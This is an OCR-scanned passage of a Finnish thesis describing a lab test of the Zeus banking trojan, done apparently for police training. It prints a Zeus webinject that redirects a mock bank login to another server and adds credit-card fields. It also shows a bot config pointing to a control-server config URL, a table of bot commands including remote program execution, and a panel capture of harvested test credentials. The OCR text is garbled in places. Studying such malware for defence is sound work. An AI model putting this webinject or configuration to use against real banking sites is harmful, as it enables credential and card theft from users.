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Koodiin on merkattu punaisella nuolella kohta, mihin injektoitava koodi tulee (Kuvio

5).

- B — - — - o P Pr— e

File Edit Format View Help
<?php -

| print "<html>";
print "<head>";
print "<title>Korpea Pankki oyj - verkkopankki</title>";
print "<meta charset="utf-8'>";
print "<style>";
print ".upbar { width: 100%; height: 70px; background-color: #005280; color: white; }";
print ".upbar span { font-family: verdana; font-size: 24px; padding: 5px;}";
print ".Tlogin { margin-top: 20px; margin-left: 20px; }";
print "</style>";
print "</head>";
print "<body>";
print "<div class="upbar '><span>Korpea Pankki oyj</span></div>";
print "<div class="login'>";
print "<form method='post' action="login.php'>";
print "Kdyttdajatunnus: <input type='text' name='tunnus’' size='8'><br>";
print "Tunnusluku: <input type= text' name='salasana’ size="4'><br>";
print "<input type='submit' value='Kirjaudu'>";
print "</form>"}
print "</div>";

print "</body>";
print ”</htm¥i";

Kuvio 5. Kohdepalvelun nettisivun lihdekoodi (kuvankaappaus testiymparistosta.)

Seuraavassa kuvassa on testissd kiytetty webinjektio. Punaisella laatikolla on koodista

merkitty kohta, joka injektoidaan uhrin selaimen nikymaiin (Kuvio 6).

File Edit Format View Help
et_url http://www.targetserver.com/ GP -

data_before
<form method="post' action='
data_end

data_inject
http://www. anotherserver.com/login. php'><!--
data_end

data_after
Togin.php'>
data_end

data_before .
<input type="text' name='salasana’ size='4'><br>
data_end

data_inject

Luottokortin numero: <input type='text' name='luottokortti’' size='16"><br>
Tarkistusnumero: <input type= text' name='luottokortti_tarkistus' size="3"><br>
data_end

data_after
data_end

Kuvio 6: Uhrin selaimeen sy6tettdvi koodi (kuvankaappaus testiympiristOsta.)
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Botti sieppasi selaimen ja kéyttojirjestelmin vilisessi rajapinnassa kohdeosoitteen
verkkolitkenteen ja lisési sithen itse webinjektioon kirjoitetun koodin. Lopputulos voi-
tiin havaita uhrikoneella, jossa toimivasta injektiosta kertoi kahden luottokorttitietoja

kalastelevan sy6ttéruudun tulostuminen selaimelle. (Kuvio 7 ja Kuvio 8).

/€ Korpea Pankki Oyj - Verkkopankki - Windows Internet Explorer
P i P

GO~

5.7 Favorites A Suggested Sites v g | Web Slice Galler]
W = 99

€| http://www targetserver.com

€ Korpea Pankki Oyj - Verkkopankki

Korpea Pankki Oyj

Kavttajatunnus: uhri
Tunnushiku: 1234

Kuvio 7: Kohdesivu ennen saastutusta (kuvankaappaus testiympiristosta.)

/€ Korpea Pankki Oyj - Verkkopankki - Windows Internet Explorer

GO

<> Favorites | 93 Suggested Sites v @ | Web Slice Gallery v
W = g9 )

€| http://www .targetserver.com

€ Korpea Pankki Oyj - Verkkopankki

Korpea Pankki Oyj

Kayttajatunnus:
Tunnushiku:
Luottokortin numero:

Tarkistusnumero:

Kuvio 8: Kohdesivu saastutuksen jilkeen (kuvankaappaus testiympiristOsta.)

4.5 Piivittiminen ja muut toiminnallisuudet

Testiympiristo6n luodun komentopalvelimen osoite oli myds annettava botille. Palve-

limen osoite sy6tettiin botin konfiguraatiotiedostoon luontivaiheessa (Kuvio 9). Koh-
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dassa timer_config médriteltiin aikavili, milld botti kivi tarkastamassa péivityksensa

edellyttien, ettd saastunut kone on verkossa.

m entry "staticconfig”
;botnet "btnli"
timer_config 60 1
timer_logs 1 1

Pt ot e ¥ a N |
I url_config "http://iceixcontro]pane].com/cfg.bin"l

disable_tcpserver 0
gncryption_key "jNBF43098092j0jf209u402jf2polaa”
en

Kuvio 9. Osoite, josta botti hakee piivitetyn konfiguraation (kuvankaappaus testiympa-

ristOsta.)

Reaalimaailmassa bottiverkon ylldpitdjd pystyy komentamaan bottia hakemaan uuden
paivityksen annetusta osoitteesta komentopalvelimella sijaitsevan hallintapaneelin avul-

la. Téatd ja muutamaa muuta toiminnallisuutta kokeiltiin testissa asennetun hallinta-

paneelin avulla. Komennot sy6tettiin botille paneelissa olevan scripts-toiminteen kautta

(Kuvio 10).

CP:: Bots CP:Searchind... {}view script Fullinformation... View script
& | @ localhost = e &view= + @] |B~ Google Q
Name: script_1392230253

Status: Enabled 2
Limit of sends: |0

List of bots:

List of botnets:

List of countries:

Context: bot_update

Save ||| Create new script from current

Bots action: | Full information 2 ()
B[] e ool Joa0 —————Tirirlissas
71 112.02.2014 18:52:55 Ready VICTIM_E532648A1847F530 2.1.0.1 OK.
] 2 12.02.2014 18:52:55 Sended VICTIM_E532648A1847F530 2.1.0.1 Sended

3 11.03.2014 18:59:47 Sended ZEUSCONTROL_74DEB1E36522DF69 2.1.0.1 Sended
14 11.03.2014 18:50:47 Ready ZEUSCONTROL_74DEB1E36522DF69 2.1.0.1 OK.

Kuvio 10. Hallintapaneelin skriptaus-nakyma (kuvankaappaus testiymparistosta.)
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Testiymparistossa suoritetut komennot otettiin Zeuksen ohjekirjasta. Suoritetut ko-

mennot on listattu alla nakyviin taulukkoon (Taulukko 3).

Taulukko 3. Testissi botille annetut komennot (Zeus User Guide 2012.)

Komento Selite

bot_update [utl]] Lataa ja péivittid botin konfiguraatio — ja asennustie-
doston.

bot_uninstall Poistaa botin koneelta tiydellisesti.

os_reboot Kiynnistdi tietokoneen uudelleen.

os_shutdown Sammuttaa tietokoneen.

user_logoff Kirjaa nykyisen kayttdjan ulos.

user_execute Komennolla voidaan suorittaa uhrin koneella haluttu

ohjelma. Ohjelma voidaan ladata internetistd ja suo-

rittaa uhrin koneella tai sitten ohjelma voi olla jo ko-
neella oleva resurssi. Testissa komennolla kdynnistet-
tiin onnistuneesti uhrin koneella Windows Media-

player.

user_homepage_set [url] | Asettaa kayttaja selaimen kotisivuksi hyokkaajin va-

litseman sivun. Toimii kaikissa tunnetuissa selaimissa.

Kiytinnon testauksessa saastuneelta tybasemalta otettiin yhteytti testin kohdepalveli-
meen. Kohdepalvelimen etusivulla oleviin tietokenttiin syotettiin niiden kysymit tiedot.
Kentistd kaksi ensimmdistd, tunnusta ja salasanaa kysyvit, tulevat kohdepalvelimelta.
Selaimessa olevat jalkimmiiset luottokorttitietoja kysyvit kentit ovat botin syottamia.
Kun tiedot oli sy6tetty webbilomakkeelle, niiden siirtyminen todettiin komentopalveli-
mella sijaitsevalta hallintapaneelilta (Kuvio 11). Kuvassa nikyy myos osa muistakin bo-
tin komentopalvelimelleen ldhettimisti tiedoista, kuin salasanoista. Botti lihetti komen-
topalvelimelle yksil6llisen tunnistetietonsa, versionumeron ja kdynnissioloajan. Ndiden

lisiksi komentopalvelimelle tallentui kayttojarjestelman versio ja kieli, saastuneen ko-
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neen IP-osoite ja sijainti (geolokaatio), koneella kdynnissd olevat prosessit seka viimei-

simman botin komentopalvelimelle lihettiman raportin aika.

CP:: Bots CP:: Bots CP:Sea... CP:: Bots Fullinfor... Viewscript ==

@ localhost/c ?m=reports_db&t=140212&id=2 +@| B~ Google Q @ @

View report (HTTP request, 191 bytes)

Bot ID: VICTIM_E532648A1847F530

Botnet: - default -

Version: 2.1.01

0OS Version: Seven, SP 1

OS Language: 1033

Local time: 12.02.2014 20:17:00

GMT: +2:00

Session time: 97:46:22

Report time: 12.02.2014 18:33:46

Country: -

1Pv4: 192.168.1.104

Comment for bot: -

In the list of used: No

Process name:  C:\Program Files\| E iexplore.exe
User of process:  Victim\User2

Source: http://www.anotherserver.com/login.php

http://www.anotherserver.com/login.php
Referer: http://www.targetserver.com/
User input: 12341234432432213

POST data:

tunnus=1234

salasana=1234
luottokortti=432432
luottokortti tarkistus=213

Kuvio 11. Botin kaappaamat tunnukset ja luottokortin tiedot hallintapaneelista nihtyni

(Kuvankaappaus testipalvelimelta.)

Testissd saastutettiin vain kaksi konetta, jolloin hallintapaneelin hy6édyllisyys ei tullut
parhaimmillaan esille. Oikeassa maailmassa bottiverkot saattavat koostua suurimmillaan
sadoista tuhansista saastuneista koneista. Pienimmissékin verkoissa on tuhansia konei-
ta. Vasta niissd tapauksissa hallintapaneelin ominaisuudet, joilla botit voidaan jakaa
monenlaiseen luokkaan niiden geolokaation, online-tilan tai kéyttojirjestelmin mukaan,

tulevat taysin kayttoon.

4.6 Testin tulokset

Testi onnistui tdysin odotusten mukaan. Kaikki Zeuksen testatut toiminnallisuudet tuli-
vat esille aivan kuten lihdemateriaalien perusteella oli odotettavissakin. Testin rajauk-

sen vuoksi monia mielenkiintoisia toiminnallisuuksia jai testaamatta, mutta testissa kay-
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tetty virtuaaliympdristd jéi tutkimuskdytt6on ja sitd tullaankin tulevaisuudessa kehittd-
miin entistd tehokkaammaksi. Tarkoitus on my6s keventda ymparistoa niin, ettd se
olisi paremmin litkuteltavissa erilaisiin luento- ja koulutustilaisuuksiin. Keventimisen
yhteydessi ainakin nimipalvelimena toimiva Windows Server 2003 tullaan vaihtamaan

huomattavasti kevyempian Linux-pohjaiseen palvelimeen.
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5 Johtopiitokset

Tietoturvaa opiskelleista moni on padssyt nikemadin ja mahdollisesti my6s kokeile-
maan, kuinka tietomurto tapahtuu. Itsellini vasta kaytinnon kokeet avasivat silmani
sithen, kuinka paljon vahinkoa aivan yksinkertaisillakin menetelmilld voidaan saada ver-
kossa aikaan. Tama ei kerro aina menetelmien, ohjelmien tai varsinaisen murtautujan
taidoista vaan siitd, kuinka paljon haavoittuvia ohjelmia tai palveluita verkossa tilld het-
kelld on. Samalla tavalla silméni avautuivat, kun paasin testaamaan pankkitroijalaista
kaytainnossa. Tapa milld se saa haltuunsa uhrin pankkitunnukset on loppujen lopuksi
yksinkertainen, mutta valtavan tehokas. Onnistuneiden verkkopankkipetosten méiriin
vaikuttaa suuresti se, kuinka paljon haavoittuvia kayttajid verkossa on. Poliisina rikoksia
tutkiessa ja nithin ilmi6iné tutustuessa joutuu miettimain paljon, kuinka niita rikoksia
voitaisiin estdd. Helpoin tapa olisi varmasti tiedon jakaminen kaikille tahoille, jotka jol-
lain tavalla liittyvit verkkopankkipalveluiden kédytt6on. Jos kykenisimme kertomaan
tavalliselle tietokoneenkayttijalle, kuinka pankkitroijalainen toimii ja kuinka se hanen
koneelleen tarttuu, saattaisi se lisatd timan kiinnostusta omaa tietoturvaansa kohtaan.
Tavallisten tietokoneenkdyttdjien lisdksi tietoa tulisi jakaa myds ndiden rikosten tutkin-

taan liittyville tahoille, kuten poliiseille ja kohteena olevien pankkien henkil6kunnalle.

5.1 Tutkimuksen hy6dyllisyys

Tamin tutkimuksen tekeminen on lisainnyt huomattavasti tietamystani pankkihaittaoh-
jelmista ja etenkin Zeus-haittaohjelmaperheestd. Tyon tekeminen on pakottanut minut
litkkumaan pois omalta osaamisalueeltani ja haastanut minut oppimaan uutta. Tyon
tekeminen palvelee my6s omaa tyoyhteisoani, jossa minulla on rooli uusien tyontekijoi-
den kouluttajana. Tdmin materiaalin ja tutkimuksen yhteydessd valmistuneen virtuaa-

liympdristén avulla kouluttamisesta tulee tehokkaampaa ja laadukkaampaa.

Oman tyopaikkani lisdksi kyselyja tasta tyosta on tullut muun muassa verkkorikoksia
hoitavalta syyttajaltd ja verkkopankkipetosten kohteeksi joutuneelta pankilta. Molem-
mat tahot ovat ilmaisseet kaipaavansa enemmain maallikoille tarkoitettua materiaalia,

jonka avulla heitd koskevia tapauksia on helpompi ymmartaa. Syyttdjd on vield siini

erikoisasemassa, ettd hinen tyonsi on esitelld oikeuteen saakka edenneet tapaukset
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tuomarille ja lautamiehille. Tuomarilla ja lautamiehilld ei usein ole kovin syvallista tieto-
teknistd osaamista, jolloin pankkihaittaohjelmien toiminnan esittely niin sanotusti kan-

san kielelld on tirkead jutun menestymisen vuoksi.

5.2 ‘Tulevaisuus

Pankkihaittaohjelmat jatkavat kehittymistadn. Zeuksesta on jo kehittynyt muutama uusi
variantti, jotka vaikeuttavat niiden havaitsemista entisestddn. My6s muiden haittaohjel-
maperheiden troijalaiset kehittyvit. Vuoden 2013 lopussa maailmalla Suomea my6ten
tehtiin havaintoja uudesta troijalaisesta nimeltd NeverQuest. Tulevaisuus ndyttdd, mika

sen kohtaloksi jaa.

Troijalaisen koodi ja sen levittimisen eri muodot kehittyvit samaa tahtia kuin antivirus-
talot kehittdvit omia tuotteitaan niiden 16ytimiseksi. Phishingiin pohjautuvat hyckkays-
kampanjat eivat ole menestyneet Suomessa paljolti erittdin haastavan kielen takia. Tal-

likin saralla haittaohjelmien kirjoittajatkin ovat kehittyneet. Viimeisimmissa havaituissa
pankkihaittaohjelmissa onkin mukana jo varsin laadukasta Suomen kieltd, jolloin hyok-

kiysten onnistumisprosentinkin voidaan olettaa nousevan.

Pankkitroijalaisia koodaavien ja niitd kdytt6onsd ostavia henkilGitd saattaa motivoida
heidin kotimaidensa huono taloudellinen tilanne ja huonot tyémarkkinat. Osa nykyai-
kaisista pankkihaittaohjelmista, on kehitetty entisen Neuvostoliiton alueella. Tuolla alu-
eella eldd paljon taitavia ohjelmoijia, joiden on vaikea kieltdytyd heille tehdyistd rahak-
kaista tarjouksista. Uusia piivitettyja haittaohjelmia syntyy niin kauan kuin niille on ky-
syntaa Internetin pimeilld markkinoilla. Ainoa keino milld viranomaiset ja yksityinen
sektori pystyvit vastaamaan tulevaisuuden uhkiin on tehokas yhteistyd. Yhteistyotd
tulisi lisdtd ja tehostaa niin ammattitaidon kuin tiedon vaihdon osalta entisestddn. Yh-
teisty6td siviiliorganisaatioiden ja viranomaistahojen kanssa tehddin jo nyt monissa
maissa, mutta sen mairan on lisadnnyttava huomattavasti, jotta kaikkein ajantasaisin

tieto olisi koko ajan kaikkien toimijoiden saatavilla.
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Liitteet

Liite 1: Testiympariston tekniset tiedot

Poytikoneet (fyysiset)

Isintikone (host)
Kiyttojarjestelmi: 64-bit Windows 7 Pro SP1
Prosessori ja muisti: Intel Core 17-3770K CPU 3.50GHz 32,0 GB RAM

Uhrikone HP Compaq
Kiyttojarjestelmi: 32-bit Windows 7 SP1
Prosessori ja muisti: CPU 3.00 GHz Intel Pentium 4 RAM 3 GB
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Virtualisoidut palvelimet ja tydasemat, sekd niiden verkko-osoitteet

Virtualisointi toteutettiin VirtualBoxilla (versio 4.3.6 191400)

Kohdepalvelin

IP: 192.168.1.25

Domain: targetservice.com

Kiyttojarjestelmid: 64-bit Ubuntu 12.04.3 LTS
Kernelin ja tarvittavan palvelinohjelmien versiot:
Linux ubuntu 3.8.0-29-generic #42~precisel-Ubuntu SMP Wed Aug 14 16:19:23 UTC
2013 x86_64 x86_64 x86_64 GNU/Linux
php5-common 5.3.10-1ubuntu3.9

phpmyadmin 4:3.4.10.1-1

apache2 2.2.22-1ubuntul.4

mysql-server-5.5 5.5.34-Oubuntu0.12.04.1

Virtualbox data

Name: TargetSevice

Guest OS: Ubuntu 12.04.3 LTS (64 bit)

UUID: e8c54c14-cea5-4633-a12b-092a36abc220

Config file: E:\Virtualmachines\ TargetSevice\ TargetSevice.vbox
Snapshot folder: E:\Virtualmachines\ TargetSevice \Snapshots
Log folder: E:\Virtualmachines\ TargetSevice \Logs

Hardware UUID: e8c54c14-eea5-4633-a12b-092a36abc220
Memory size: 2048MB

VRAM size: 32MB

CPU exec cap: 100%

Firmware: BIOS

Number of CPUs: 2
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Zeuksen komentopalvelin

IP: 192.168.1.30

Domain: iceixcontrolpanel.com
Kiyttojirjestelmi: 64-bit Ubuntu 12.04.3 LTS
Zeuksen kannalta oleelliset asennetut ohjelmat:
Linux ubuntu 3.8.0-29-generic #42~precisel-Ubuntu SMP Wed Aug 14 16:19:23
UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
php5-common 5.3.10-1ubuntu3.9

phpmyadmin 4:3.4.10.1-1

apache2 2.2.22-1ubuntul.4

mysql-server-5.5 5.5.34-Oubuntu0.12.04.1

Virtualbox data

Name: IceIXControlPanel

Guest OS: Ubuntu 12.04.3 LTS (64 bit)

UUID: a02234bb-8632-4021-84d5-74fa2df17530

Config file: E:\Virtualmachines\IceIXControlPanel\IceIXControlPanel.vbox
Snapshot folder: E:\Virtualmachines\IceIXControlPanel\Snapshots
Log folder: E:\Virtualmachines\IceIXControlPanel\Logs

Hardware UUID: 202234bb-8632-4021-84d5-74fa2df17530
Memory size: 2048MB

VRAM size: 32MB

CPU exec cap: 100%

Firmware: BIOS

Number of CPUs: 2

21




Nimipalvelin
IP: 192.168.1.10
Kiyttojarjestelmd: Windows Server 2003 R2

Virtualbox data

Name: Win2003srv_dns

Guest OS: Other Windows

UUID: a6¢f63cb-6d38-4949-ad07-096a1e5032¢7

Config file: E:\Virtualmachines\Win2003stv_dns\Win2003stv_dns.vbox
Snapshot folder: E:\Virtualmachines\Win2003strv_dns\Snapshots
Log folder: E:\Virtualmachines\Win2003stv_dns\Logs

Hardware UUID: a6¢f63¢cb-6d38-4949-ad07-096a1e5032¢7
Memory size: 2048MB

VRAM size: 16MB

Firmware: BIOS

Number of CPUs: 1
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Hakkerin ty6asema
IP: DHCP
Kiyttojarjestelmi: 64-bit Windows 7 Pro SP1

Name: BotHerder-Win7

Guest OS: Windows 7 (64 bit)

UUID: leal5db7-147¢c-401e-9¢c1e-676a36£75b95

Config file: E:\Virtualmachines\BotHerder-Win7\BotHerder-Win7.vbox
Snapshot folder: E:\Virtualmachines\BotHerder-Win7\Snapshots
Log folder: E:\Virtualmachines\BotHerder-Win7\Logs

Hardware UUID: 1eal5db7-147c-401e-9cle-676a36f75b95
Memory size: 6172MB

VRAM size: 32MB

Firmware: BIOS

Number of CPUs: 2
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Uhrin ty6asema
IP: DHCP
Kiyttojarjestelmi: 64-bit Windows Pro SP1

Virtualbox data

Name: Infected

Guest OS: Windows 7 (64 bit)

UUID: 36f4b0e5-554a-4b74-b1fb-05cab0d1aa53

Config file: E:\Virtualmachines\Infected\Infected.vbox
Snapshot folder: E:\Virtualmachines\Infected\Snapshots
Log folder: E:\Virtualmachines\Infected \Logs

Hardware UUID: 36f4b0e5-554a-4b74-b1tb-05cab0d1aa53
Memory size: 6172MB

VRAM size: 32MB

Firmware: BIOS

Number of CPUs: 2
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